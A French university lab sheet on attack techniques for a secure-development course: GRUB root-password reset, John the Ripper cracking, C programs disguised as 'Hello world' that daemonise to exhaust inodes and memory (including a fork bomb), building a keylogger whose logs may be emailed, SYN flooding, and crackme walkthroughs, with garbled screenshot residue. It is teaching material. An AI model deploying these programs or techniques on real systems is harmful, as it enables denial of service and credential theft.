Sécurité de développement TP 1 : Les différents attaques

Halim Djerroud

révision 1.0

Choir une activité parmi :

1 Récupération de de mot de passe :

1.1 Paramètres noyau

Dans le cas ou la machine est accessible physiquement, il est possible de récupérer le mot de passe en changeant les paramètre de démarrage du noyau.

Lors du démarrage de la machine, il suffit d'appuyer sur 'e' lors de l'apparition du GRUB. Puis modifier le type de montage de la racine pour bascuter en mode Read/Write pour cela il suffit de changer ro en rw. Enfin il suffit de lancer directement un shell lorsque le noyau termine son initialisation.

linux vmlinuz... rw quiet init=/bin/sh

Pour lancer le noyau il suffit d'appuyer sur la touche F10. Une fois le système démarre, il lance un shell. Pour modifier de mot de passe il s'uffit d'invoquer la commande passwd.



1.2 Brute force

Il existe un logiciel classique qui permet de récupérer le mot de passe root par attaque par force brute "Brute force".

sudo apt install john john-data

Le logiciel propose plusieurs options. Par exemple il est possible de spécifier un dictionnaire bien préci.

```
John the Ripper password cracker, version 1.9.0
Copyright (c) 1996-2019 by Solar Designer
Homepage: http://www.openwall.com/john/
Usage: john [OPTIONS] [PASSWORD-FILES]
--single
                           "single crack" mode
--wordlist=FILE --stdin
                           wordlist mode, read words from FILE or stdin
--rules
                           enable word mangling rules for wordlist mode
--incremental[=MODE]
                           "incremental" mode [using section MODE]
                           external mode or word filter
--external=MODE
--stdout[=LENGTH]
                           just output candidate passwords [cut at LENGTH]
--restore[=NAME]
                           restore an interrupted session [called NAME]
--session=NAME
                           give a new session the NAME
                           print status of a session [called NAME]
--status [=NAME]
--make-charset=FILE
                           make a charset, FILE will be overwritten
--show
                           show cracked passwords
--test[=TIME]
                           run tests and benchmarks for TIME seconds each
--users=[-]LOGIN|UID[,..]
                           [do not] load this (these) user(s) only
--groups=[-]GID[,..]
                           load users [not] of this (these) group(s) only
--shells=[-]SHELL[,..]
                           load users with[out] this (these) shell(s) only
--salts=[-]N
                           load salts with[out] at least N passwords only
                           enable memory saving, at LEVEL 1..3
--save-memory=LEVEL
--node=MIN[-MAX]/TOTAL
                           this node's number range out of TOTAL count
--fork=N
                           fork N processes
--format=NAME
                           force hash type NAME: descrypt/bsdicrypt/md5crypt/
                           bcrypt/LM/AFS/tripcode/dummy/crypt
```

1. Proposer une solution pour chaque méthode.

Exercice : Utiliser le logiciel *John The Ripper* pour trouver le mot de passe **root** de la VM donnée dans ce cours.

2 Virus et Vers :

Il est possible de créer des programmes qui ressemble à des jeux ou n'importe quel programme d'apparence utile (ou) pas. Mais sous la surface il peut lancer un autre programme malveillant. L'exemple ci-après illustre le fonctionnement de base qui permet de lancer un nouveau programme *démon*.

```
int main(int argc, char ** argv){
    int fd;
        /* Le processus se dédouble, et le père se termine */
        if (fork() != 0)
            exit(EXIT_SUCCESS);
        /* le processus fils devient le leader d'un nouveau
            groupe de processus */
        setsid();
        /* le processus fils crée le processus démon, et
            se termine */
        if (fork() != 0)
            exit(EXIT_SUCCESS);
        ...
```

}

1. Créer une programme c qui affiche "Bonjour". Par la suite ce programme lance un nouveau programme qui permet de créer des répertoires récursivement, jusqu'à l'épuisement des inodes.

```
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <errno.h>
#include <string.h>
int main(){
  if (fork() != 0){
   printf(" -- Hello world \n");
    exit(0);
  }
  setsid();
  if (fork() != 0){
    long long int i=0;
    char *path = "/tmp/test";
    while (1) \{
      char *new_path = malloc(strlen(path) + 20);
      sprintf(new_path, "%s/%ld", path, i);
      if (mkdir(new_path, 0777) == -1) {
        if (errno == EEXIST) {
        } else if (errno == ENFILE) {
          printf("Épuisement des inodes (%d dossiers créés)\n", i);
          break;
        } else {
          printf("Erreur lors de la création du dossier '%s'\n", new_path);
          break;
        }
      }
      i++;
    }
    exit(0);
  }
}
```

— Vérifier l'état du disque en utilisant la commande df.

2. Créer une programme c qui affiche "Bonjour". Par la suite ce programme lance un nouveau programme qui permet d'allouer de la mémoire avec malloc, jusqu'à épuisement de la mémoire.

```
#include <unistd.h>
#include <stdio.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <errno.h>
#include <string.h>
int main(){
    if (fork() != 0){
        printf(" -- Hello world \n");
        exit(0);
    }
    setsid();
```

```
if (fork() != 0){
    long long int i=0;
    while (1) \{
      if(i++ % 10000){
        fork();
        i=0;
      }
      char* tmp = (char*) malloc (1024);
      if (tmp == NULL) {
        printf("error malloc");
        exit(0);
      }
    }
    exit(0);
  }
}
```

— vérifier l'état de la mémoire avec la commande free

3. Proposer une solution pour contrer ces problèmes, qui peuvent être posés par des programmes malveillant.

3 Keylogger

Télécharger le logiciel suivant : https://github.com/kernc/logkeys

- 1. En utilisant les outils : git, cmake, ... Compiler et exécuter le keylogger.
- 2. (optionnel) Écrire une script shell qui permet de d'envoyer par email le fichier de log.

4 DoS:

SYN Fold

Les serveurs qui utilisent TCP, doivent accepter les connexions qui arrivent en répondant par 'ACK' pour des demande de 'SYN', généralement le serveur ouvre une session et attends un délai (typiquement 500ms) avant de la fermer si le client de répond pas. Imaginer une programme qui demande à un serveur des 'SYN' mais sans jamais lui répondre. Le serveur va finir par ne plus pouvoir ouvrir de nouvelles connexions, car elle sont limitées à 2^{16} .

1. Étudier et essayer d'exploiter (sur un site en local sur votre machine) le logiciel donné sur le lien suivant : https://github.com/Hypro999/synflood.c.

5 Assembleur :

Dans cette série de challenges, le but consiste à deviner les login/password de chaque programme. Les programmes sont téléchargeables sur le lien suivant : https://perso.halim.info/Cours/Crackmes/. Pour vous aider nous allons voir ensemble la solution de certains challenges afin de vous montrer la démarche.

5.1 Travail demandé

Pour chaque challenge, vous devez donnercdeviner le login et le mot de passe.

- Le.s login.s et mot.s de passe qui fonctionne.ent.
- Expliquer votre démarche pour résoudre le challenge.

6 Deviner mot de passe (challenge 1)

Télécharger le fichier exécutable crackmes_1, puis essayer quelques valeurs aléatoires par exemple "test" et "testpass". Bien évidemment, ça ne fonctionne pas, mais on sait plus ou moins à quoi nous attendre, dans ce cas il faut que *Login* et *Password* donnés en entrée aboutissent à l'affichage d'autres choses que ****** ACCESS DENIED ******. Voit l'exemple ci-après :

----- CRACKMES 1 -----Login : test Password : testpass ** ACCESS DENIED **

On va commencer à analyser montre programme on peut utiliser l'outil radare2. On peut invoquer l'option (i : pour info) pour avoir des informations sur notre fichier exécutable. Pour des raisons de place dans l'exemple, ci-après, nous avons invoqué l'option iA pour voir uniquement l'architecture de notre binaire. On peut remarquer que c'est une architecture 32 bits, donc on peut aisément continuer notre analyse étant donné que nous connaissons bien cette architecture (vue en cours).

```
$ r2 crackmes_1
    -- Sorry, not sorry.
[0x00001090]> iA
0    0x00000000 15124 x86_32 machine=Intel 80386
[0x00001090]>
```

Si on suppose que l'identifiant et le mot de passe sont écrit en dur dans le code alors ils ont quelque part dans la section ".data". Pour consulter l'ensemble des chaînes de caractères dans la section data on peut utiliser l'option iz. Il est aussi possible d'utiliser l'option izz pour faire une recherche dans toutes les sections.

```
[0x00001090]> iz
[Strings]
nth paddr
            vaddr
                      len size section type string
_____
   0x00002008 0x00002008 9 10 .rodata ascii superuser
0
   0x00002012 0x00002012 9 10
                             .rodata ascii AlphaPass
1
   0x0000201c 0x0000201c 23 24
2
                             .rodata ascii -----
                             .rodata ascii ----- CRACKMES 1 -----
   0x00002034 0x00002034 23 24
3
   0x0000204c 0x0000204c 24 25
                              .rodata ascii -----\n
4
5
   0x00002065 0x00002065 8
                         9
                              .rodata ascii Login :
6
   0x00002071 0x00002071 11 12
                              .rodata ascii Password :
7
   0x0000207d 0x0000207d 20
                         21
                              .rodata ascii ** ACCESS GRANTED **
8
   0x00002092 0x00002092 19 20
                              .rodata ascii ** ACCESS DENIED **
```

On peut tester les deux chaînes de caractères qui sautent aux yeux :

\$./crackmes_1 ----- CRACKMES 1 -----

Login : superuser Password : AlphaPass ** ACCESS GRANTED **

6.1 Challenge 2

Télécharger le fichier exécutable crackmes_2.

```
$ ./crackmes_2
----- CRACKMES 2 -----
```

Missing login and password !

Ce programme n'est pas interactif, à vous de voir comment il fonctionne pour saisir le Login et le Password.

6.2 Challenge 3

Télécharger le fichier exécutable crackmes_3. Trouvez ou se cachent le Login et le Password.

7 Devinez des mots de passes d'un autre type (challenge 4)

Jusqu'à présent, les mots de passe sont simples à deviner, car ils sont sous forme de chaînes de caractères dans le code, nous n'avons même pas eu besoin de désassembler le code. Et si les mots de passe ne sont pas de type String, mais d'un autre type ?

On va commencer par exécuter le programme avec des valeurs de test :

```
$ ./crackmes_4 test testpass
----- CRACKMES 4 -----
```

Incorrect login type

À priori le type du *login* n'est pas compatible. Donc on va tester des valeurs entières :

```
$ ./crackmes_4 123 456
----- CRACKMES 4 -----
```

** ACCESS DENIED **

Après avoir effectué une analyse rapide, nous constatant que les identifiants ne sont pas stockés sous forme de chaînes de caractère. Ils doivent être probablement dans la section ".data" si elles sont déclarées en variable globale, sinon sur la pile.

Pour consulter aisément notre binaire nous allons utiliser Cutter, l'interface visuelle de radare2. Pour ouvrir votre binaire suivez les étapes suivantes :



La fenêtre principale

Richier Modifier Affichage Fenètres	Cutor - honehdd Courd Poping Skilleskinekonding,4 + 12 - 22	* ×
(* *)	ze k nom oci Jadresse du drapeau ió	
Déboqueur		
Fonctions	Désassembleur	00
nom • • • • • • • • • • • • • • • • • • •	New standing regs, the regs, the regs, the regs, the regs, the regs, the regs of the regs	
	Suithoard strings Imports Search Descentement Scriphermain Intendung Decomplications Discomplications	
	Try Oods for Linker Control	Î
Filtre rapide X	e asmopitariat	×

On remarque que l'assembleur affiché est différent de celui vu en cours. Pour afficher l'assembleur avec la syntaxe AT&T (assembleur GNU vu en cours) au lieu de la syntaxe Intel (syntaxe par défaut), nous il faut rentrer la commande suivante dans la console :

e asm.syntax=att



En étudiant le code source proposé par le décompilateur on remarque à la ligne montrée ci-dessous, que le programme fait une double vérification grâce à l'opérateur &&. Certainement la vérification du login et mot de passe se fait ici.

lundetined4 main(char **argv)
<pre>undefined4 uVar1; int32_t iVar2; int32_t iVar3; int32_t *extraout_ECX; int32_t unaff_EBX; unsigned long var_28h; unsigned long var_24h; int32_t var_14h;</pre>
<pre></pre>
<pre>} else { if ((iVar2 == *(int32_t *)(unaff_EBX + 0x2e5f)) && (iVar3 == *(int32_t *)(unaff_EBX + 0x2e63))) { puts(unaff_EBX + 0xee1); } else { puts(unaff_EBX + 0xef6); } vvar1 = 0; </pre>
<pre>} } else { puts (unaff_EBX + 0xe9c); uVar1 = 1; } enture uVar1;</pre>
}

On place un **Breakpoint** à cet endroit et en lance le débogueur avec deux arguments quelconques (entiers) :



On remarque ici la valeur est du *login* est chargée dans **%eax** pour être comparé. Alors if suffi de consulter la valeur de ce registre : (0x4d) en hexadécimal ce qui fait 77 en décimale.

							Stack			
	leal pushl call movl jmp movl cmpl jme movl cmpl jme subl leal pushl call leal pushl call addl movl leal pushl call call pushl call subl leal pushl cmpl cmpl leal pushl cmpl leal pushl cmpl leal leal pushl cmpl leal leal leal pushl cmpl leal leal leal leal leal leal leal le	-0.175(Stabb.) isaa -0.175(Stabb.) isaa pois : sym imp.puts; int puts(const cha \$0:10, resp -0.150 at -0.150 at -0.150 at -0.150 at -0.150 at -0.150 at -0.150 at -0.150 (stabb.) isaa -0.150 (stabb.) isaa -0.150 (stabb.) isaa Feat. (ar.200 -0.150 (stabb.)	<pre>indefined win (char ++) (undefined win(; tri31; t War1; tri31; t War2; tri31; t</pre>)); + 8));			off Øxff8 Øxff8 Øxff8 Øxff8 Øxff8 Øxff8 Øxff8 Øxff8 Øxff8 Øxff8 Øxff8 Øxff8 Øxff8 Øxff8 Øxff8 Øxff8 Øxff8 Øxff8 Øxff8	ext Valuation Jalecti 0x7771 Jalecti 0x7771 Jalecti 0x7771 Jalecti 0x7771<	1440 1860 -> 102d -> 102d -> 1019 -> 1678 -	(/usr/lib/i3 ascii 0xa165 stack rw 0xf @esi stack r 0xf (/usr/lib/i3 (/usr/lib/i3 ascii 0x0210 exp 0x5662f286 0x0
0x5662f2c6 0x5662f2c7	pop1 pop1 pop1	%ebx %esi %ebp	if ((iVar2 == *(int32_t *)(unaff_EBX + 0) puts(unaff_EBX + 0xeel);	(2e5f)) && (i			ecx edx	0xff895fc7 0x0	xgs xcs	0x63 0x23
Strings Search Mer	nory Map B	reakpoints Disassembly Graph(main)			Decompiler: Ghidra			0xff894f00		0x2b
lexdump						00	edi	0xf7f35b80	rflags	0x286
				Parsing In			esp	0xff894ec0	oeax	Øxffffffff
1x00000000005662128 1x0000000005662129	0 85 83 . 0 00 39 .	20 00 00 00 00 99 45 e4 75 1f 8b 83 24 00 00					ebp	Øxff894ee8		
0x0000000000005662f29 0x00000000005662f2a 0x00000000005662f2b 0x0000000005662f2c 0x000000005662f2c	0 00 39 0 0 e8 9b 0 0 e0 ff 0 0 00 8d 0	15 60 75 14 83 60 80 83 42 60 ff ff 50 .9E .0 fd ff ff 83 64 10 6b 12 83 60 86 88 83 b7 ff 50 68 87 fd ff ff 83 64 10 b8 00 00 00 15 f4 59 5b 5e 5d 8d 61 fc c3 53 83 60 86 16 66 66 91 62 16 24 60 90 92 93 64 98 56 62			Select bytes to d Select bytes to d					

On relance le programme, cette fois-ci, comme premier argument 77 et un second argument quelconque :



On procède de la même manière pour la seconde valeur, on note la valeur de (0x63) en hexadécimal ce qui fait 99 en décimale.

0 - ++	• • • • • •	Type flag name or address here						
Disassembly			Decompiler (main)	o⊙ Sta	ick			00
0 035917280 0x55577280 0x55577280 0x55577280 0x55577280 0x55577281 0x55577291 0x55577291 0x55577293 0x55577293 0x55577293 0x55577293 0x55577293	mov1 0.x20 (rebx). cmp1 %eax.var_24 ine wh565ff2a mov1 0.x24(%ebx). ine %c55ff2a subi 30xc.xesp ine1 %c1f6s(%ebx). push1 %eax.var_24 ine1 %c1f6s(%ebx). push1 %eax.var_26 ine1 %c1f6s(%ebx). jmp %c55ff2bc subi \$0xc.%esp	Neax h Neax h No. Xeax const char *s sym.imp.puts ; int puts(const cl	<pre>vectors totaly preferred == (char *** =) undefined == (char *** =) undefined vor1; int32_t var2; int32_t va</pre>	ex ex ex ex ex ex ex ex ex ex ex ex	Offset • ffd81f90 Øy ffd81f94 Øy ffd81f98 Øy ffd81f90 Øy ffd81fa0 Øy ffd81fa2 Øy ffd81fa2 Øy ffd81fa2 Øy ffd81fa2 Øy ffd81fa0 Øy ffd81fb0 Øy	Value xf7f024a8 xf7f1a8cb x00000036 x0000004d xffd81fc0 xf7f02678 xf7f02b50 xffd81fd0 xffd81fd0 xf7e1cff4 x56601eec	-> (/ -> as -> as -> st -> st -> (/ -> (/	/usr/lib/i38 kcii 0xa165c kcii 0x56195 tack rw 0xf7 esi stack rw /usr/lib/i38 /home/hdd/Co
 4x565fr2ad 0x565fr2b3 0x565fr2b4 0x565fr2b4 0x565fr2b6 0x565fr2c1 0x565fr2c5 0x565fr2c5 0x565fr2c6 0x565fr2c8 0x565fr2c8 	<pre>leal -\$f49(\dex push1 & cex call) puts ; add1 \$\dot{xex} ; add1 \$\dot{xex} ; mov1 \$\dot{x}\$, %eax leal var_14h, %es pop1 & cex pop1 & kex pop1 & kes pop1 & kes pop1 & kes pop1 & kes pop1 & kes pop1 & kes pop1 & kes</pre>	(, %eax const char *s sym.inp.puts ; int puts(const c ip	<pre>prist_consf:EEX + >exe(5); af jf (vestraout_EEX + >exe(5); if (vestraout_EEX + >exe(5); if (var2 == 0) {</pre>	Ox Ox Ox A S Ref ea	ffd81fb8 Ø) ffd81fbc Ø) ffd81fc0 Ø) ffd81fc0 Ø) ffd81fc0 Ø) ffd81fc0 Ø) ffd81fc0 Ø) ffd81fc0 Ø) ffd81fc0 Ø) ffd81fbc Ø ffd81fbc	x00000000 xf7c23295 x000000000 -00000000 -00000000 -00000000		usr/lib/i38 coii AvR310c P P Øx565ff291
_fini(); 0x565ff2cc 0x565ff2d0 4 Strings Search Memory	push1 %ebx ; sub1 \$8, %esp call1x86.get_pc	<pre>[14] -r-x section size 20 named _thunk.bx ; symx86.get_pe_thu sembly Graph(main)</pre>	wikar1 = 3; } elat { if (liVar2 == *(int32,t *)(unaff_EBX + 0x2e5f)) & (liVar3 == *(int32,t *)(unaff_EBX + 0x2e5f)) &	ec ec ed	x 0xffd83 x 0xffd83 x 0x0 x 0x0	fd0	xts xgs xcs xss	0x0 0x63 0x23 0x2b
Hexdump				ed	li Øxf7f3d	1680 rf	lags	0x246
0x0000000565ff280 0x0000000565ff280 0x0000000565ff280 0x0000000565ff280 0x0000000565ff280 0x0000000565ff280	0 1 2 3 4 5 6 8b 83 20 00 00 00 39 00 39 45 e0 75 14 83 e8 9b fd ff ff 83 c4 e0 ff ff 50 e8 87 fd 00 8d 65 f4 59 5b 5e		MS2 ::::::::::::::::::::::::::::::::::::	3 es eb	ep Øxffd81 ep Øxffd81	f90 fb8	oeax	0xfffffff

Les valeurs du login et password étant récupérées, il suffit de tester le programme en ligne de commande :

```
$ ./crackmes_4 77 99
```

```
----- CRACKMES 4 -----
```

** ACCESS GRANTED **

7.1 Challenge 5

Le *CrackMe 5* propose un challenge équivalent au denier. En revanche, les valeurs ne sont pas données en arguments, mais saisies directement en ligne de commande. *Astuce : utilisez la console pour saisir les valeurs.*

8 Des mots de passe variables (Challenge 6)

Le *CrackMe 6* propose un challenge dont plusieurs mots de passe peuvent correspondent. Les mots de passe suivent une loi, à vous de découvrir laquelle?

8.1 Challenge 7

Le *CrackMe 7* propose un challenge identique au dernier, mais avec des chaînes de caractères. À vous de découvrir quelle fonction, est utilisée. Pour simplifier votre tache dans ce crackem seul le mot de passe est utilisée.

8.2 Challenge 8

Le CrackMe 8 propose un challenge identique au dernier. À vous de découvrir quelle fonction est utilisée.

9 Bonus

Si le jeu des crackmes vous a semblé anusant pour pouvez continuer à jouer sur le site https://crackmes. one/. Il suffit de se rendre sur la page de recherche et de sélectionner les critères donnés ci-après. Les *crackems* sont dans des archives, le mot de passe des archives est le suivant : "crackmes.one".

crackmes.one			Search Latest Crackmes	Faq Login	Register
	Crackme sear	5h			
	Crackme name	Name			
	Author	Author			
	Difficulty between	1			
	Quality between	1 \Rightarrow and 6 \Rightarrow			
	Langage	C/C++			
		Assembler Java			
		(Visual) Basic			
	Arch	x86			
		x86-64 java			
		ARM			
	Platform	DOS			
		Mac US X Multiplatform			
		Unix/linux etc.			
		Search			

10 Shell code :

sudo chown root:root notetaker notesearch
sudo chmod u+s notesearch notetaker

```
user@debian:~/Bureau/scure_coding/buffer_overflows$ ls -1
total 48
-rw-r--r-- 1 user user 976 15 janv. 23:07 exploit_notesearch.c
-rw-r--r-- 1 user user 1222 15 janv. 23:07 hacking.h
-rwsr-xr-x 1 root root 15584 15 janv. 23:13 notesearch
-rw-r--r-- 1 user user 3488 15 janv. 23:12 notesearch.c
-rwsr-xr-x 1 root root 15516 15 janv. 23:13 notetaker
-rw-r--r-- 1 user user 1659 15 janv. 23:12 notetaker.c
```

11 Snifer le réseau :

Établir une connexion telnet entre deux machines et snifer le réseau à l'aide de *Wireshark* ou *Tshark* pour récupérer le login et le mot de passe.

				Capture en co	urs de enp4s0		팀영 / 곱)
chier Editer Yue Al	er <u>Capture</u> <u>Analyser</u>	Statistiques Telephonje	Wireless	Qutils Aide			
		*****	* 💷 🛙	ા ચ ચ ચ 🔛			
Appliquer un filtre d'affi	chage <ctrl-></ctrl->						+ -
. Time	Source	Destination	Protocol	Ength Info			
126 17.518521813	FreeboxS_0d:2a:cd	Broadcast	ARP	64 Who has 192.168.27.987 Tell 192.168.27.99			
		Broadcast					
129 18.509125026	188.165.193.21 192.168.1.59	192.168.1.50 188.165.193.21	TLSv1.2 TLSv1.2	93 Application Data 97 Application Data			
131 18.516345216	188.165.193.21	192.168.1.50	TCP	66 443 45756 [ACK] Seq=28 Ack=32 Win=501 Len=0 TS	val=4012476	0050 TSecr=1299250476	
132 18.5590263/1 133 18.889158370	b2:8b:48:6c:22:3d	Broadcast	0x1337	64 Ethernet II	-		
		Broadcast					
139 21.519682847	FreeboxS_0d:2a:cd	Broadcast	ARP	64 Who has 192.168.27.98? Tell 192.168.27.99			
141 21.760596865	Micro-St_2c:7a:e4	FreeboxS_0d:2a:cd	ARP	42 192.168.1.50 is at d8:43:ae:2c:7a:e4			
144 22.566969995	FreeboxS_0d:2a:cd	Broadcast	ARP	64 Who has 192.168.27.98? Tell 192.168.27.99			
147 23.601474008	FreeboxS_0d:2a:cd	Broadcast	ARP	64 Who has 192.168.27.98? Tell 192.168.27.99			
		Broadcast					
		Broadcast					
153 26.522194953	FreeboxS_0d:2a:cd	Broadcast	ARP	64 Who has 192.168.27.987 Tell 192.168.27.99			
		Broadcast					
Fram 122: He pyres interface 121: 0 Encoputation (Time haft for the shift for time shift for ti	on wire (siz bits), (appled) pr: Ethernet (1) bits, 20xet: 0.0000 135644,08021746 est 135644,08021746 est 135644,08021746 est 135644,08021746 est 135644,08021746 est 135645,08021746 est 13: False) 11: False) 11: False) 11: False) 12: False) 12	ext bytes captures [: 80021736 CCT 90021 seconds] ands mark: 0,02081155 second mark: 0,02081155 second 18.550928371 second 18.5509285071 second 18.5509285071 second 18.5509285071 second 18	conds] iconds] iconds] is] t: Broadcas	JACEFACE REPORT, 10 U	000		
.							
 enp+su: <twe cap<="" li=""> </twe>	cure in progress>					raques : 135 - Amones : 155 (100.0%)	Proti : De